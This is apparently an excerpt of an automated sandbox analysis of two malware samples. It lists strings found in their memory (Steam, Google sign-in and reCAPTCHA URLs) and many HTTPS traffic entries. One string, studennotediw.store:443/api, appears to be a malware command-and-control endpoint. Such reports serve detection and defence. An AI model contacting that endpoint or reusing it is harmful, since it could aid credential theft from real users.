Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037689875.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: cb428cafc9.exe, 00000045.00000003.4391491029.000000000156A000.00000004.00000020.00020000.00000000.sdmp, cb428cafc9.exe, 00000045.00000003.4391890908.0000000001573000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/ee&
Source: cb428cafc9.exe, 00000007.00000003.2621215425.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, cb428cafc9.exe, 0000001A.00000002.4395413457.0000000001898000.00000004.00000020.00020000.00000000.sdmp, cb428cafc9.exe, 0000001A.00000003.3160393174.00000000017D4000.00000004.00000020.00020000.00000000.sdmp, cb428cafc9.exe, 0000001A.00000002.4395882017.00000000018CA000.00000004.00000020.00020000.00000000.sdmp, cb428cafc9.exe, 0000001A.00000003.4392034554.00000000018CA000.00000004.00000020.00020000.00000000.sdmp, cb428cafc9.exe, 0000001A.00000003.4391191294.00000000018CA000.00000004.00000020.00020000.00000000.sdmp, cb428cafc9.exe, 0000001A.00000003.4392651870.00000000018CA000.00000004.00000020.00020000.00000000.sdmp, cb428cafc9.exe, 00000045.00000003.3083686361.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
